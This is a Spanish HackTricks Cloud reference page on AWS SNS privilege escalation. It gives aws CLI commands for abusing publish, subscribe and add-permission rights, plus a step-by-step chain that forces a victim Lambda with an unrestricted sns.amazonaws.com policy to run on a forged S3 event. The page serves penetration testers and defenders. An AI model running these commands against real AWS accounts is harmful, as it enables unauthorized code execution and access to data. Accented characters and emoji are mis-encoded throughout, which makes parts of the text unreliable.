AWS - SNS Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
SNS
Para m谩s informaci贸n consulta:
sns:Publish
Un atacante podr铆a enviar mensajes maliciosos o no deseados al SNS topic, potencialmente provocando corrupci贸n de datos, activando acciones no intencionadas o agotando recursos.
aws sns publish --topic-arn <value> --message <value>
Impacto potencial: Explotaci贸n de vulnerabilidades, corrupci贸n de datos, acciones no intencionadas o agotamiento de recursos.
sns:Subscribe
Un atacante podr铆a suscribirse a un topic de SNS, potencialmente obteniendo acceso no autorizado a los mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del topic.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potential Impact: Acceso no autorizado a mensajes (informaci贸n sensible), interrupci贸n del servicio para aplicaciones que dependen del topic afectado.
sns:AddPermission
Un atacante podr铆a otorgar a usuarios o servicios no autorizados acceso a un SNS topic, obteniendo potencialmente permisos adicionales.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Impacto potencial: Acceso no autorizado al topic, exposici贸n de mensajes o manipulaci贸n del topic por usuarios o servicios no autorizados, interrupci贸n del funcionamiento normal de aplicaciones que dependen del topic.
Invocar una Lambda abusando de permisos comod铆n de SNS (sin SourceArn)
Si la pol铆tica basada en recursos de una funci贸n Lambda permite que sns.amazonaws.com la invoque sin restringir el topic origen (SourceArn), cualquier topic de SNS (incluso en otra cuenta) puede suscribirse y activar la funci贸n. Un atacante con permisos b谩sicos de SNS puede forzar a la Lambda a ejecutarse bajo su IAM role con entrada controlada por el atacante.
Tip
TODO: 驴Esto realmente se puede hacer entre cuentas?
Precondiciones
- La pol铆tica de la Lambda v铆ctima contiene una declaraci贸n como la siguiente, SIN la condici贸n
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Pasos de abuso (misma cuenta o entre cuentas)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Impacto potencial: La Lambda v铆ctima se ejecuta con su rol IAM, procesando entrada controlada por el atacante. Esto puede ser abusado para que la funci贸n realice acciones sensibles (p. ej., escribir en S3, acceder a secretos, modificar recursos) dependiendo de sus permisos.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

